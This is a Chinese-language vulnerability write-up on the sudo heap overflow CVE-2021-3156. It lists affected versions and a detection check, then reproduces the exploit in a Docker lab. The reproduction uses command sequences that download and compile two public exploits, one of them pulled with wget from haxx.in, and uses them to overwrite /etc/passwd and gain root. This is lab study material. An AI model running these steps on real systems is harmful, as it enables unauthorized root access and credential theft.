1. 漏洞簡介
1月26日,Sudo發布安全通告,修復了一個類Unix操作系統在命令參數中轉義反斜杠時存在基於堆的緩沖區溢出漏洞。當sudo通過 -s 或 -i 命令行選項在shell模式下運行命令時,它將在命令參數中使用反斜杠轉義特殊字符。但使用 -s 或 -i 標志運行 sudoedit 時,實際上並未進行轉義,從而可能導致緩沖區溢出。因此只要存在sudoers文件(通常是 /etc/sudoers),攻擊者就可以使用本地普通用戶利用sudo獲得系統root權限。目前漏洞細節已公開,請受影響的用戶盡快采取措施進行防護。
2. 影響范圍
Sudo 1.8.2 - 1.8.31p2
Sudo 1.9.0 - 1.9.5p1
不受影響版本:sudo =>1.9.5p2
3. 檢測方法
非root執行sudoedit -s /
若返回以“ sudoedit:”開頭的錯誤,則當前系統可能存在安全風險。
不受影響的系統將顯示以“ usage:”開頭的錯誤
4. 利用復現
4.0 測試環境搭建 docker-ubuntu.20.4+sudo-1.8.31
docker拉環境
docker pull manishfoodtechs/xfcefulldesktop_ubuntu20.4
docker run -it manishfoodtechs/xfcefulldesktop_ubuntu20.4 /bin/bash
sudo版本
sudo --version
系統版本
lsb_release -a
新建test測試用戶
useradd test
passwd test
4.1 stong的exp
https://github.com/stong/CVE-2021-3156
su test
cd /tmp
宿主機下poc,python起http服務分享給測試環境
git clone https://github.com/stong/CVE-2021-3156.git
python3 -m http.server 80
docker內下載宿主機分享的exploit.c
wget http://192.168.146.231/exploit.c
gcc ./exploit.c
cp /etc/passwd kanpasswd
把kanpasswd中的test用戶id和組id換為0
vim kanpasswd
./a.out /etc/passwd kanpasswd
在重新看passwd,已經被修改了
cat /etc/passwd
需要su再重新切換至test,此時id顯示已提權,有權限看shadow
su test
4.2 haxx.in的exp
https://haxx.in/CVE-2021-3156_nss_poc_ubuntu.tar.gz
su test
cd /tmp
wget https://haxx.in/CVE-2021-3156_nss_poc_ubuntu.tar.gz
tar xvf CVE-2021-3156_nss_poc_ubuntu.tar.gz
cd CVE-2021-3156
make
./sudo-hax-me-a-sandwich
id
./sudo-hax-me-a-sandwich 0
5 參考
https://mp.weixin.qq.com/s/x9Q4xsoEGsK1Kv_1AbHxaQ
https://xie1997.blog.csdn.net/article/details/113268374
https://mp.weixin.qq.com/s/IzmWZojdkorKc5qGu01Jcw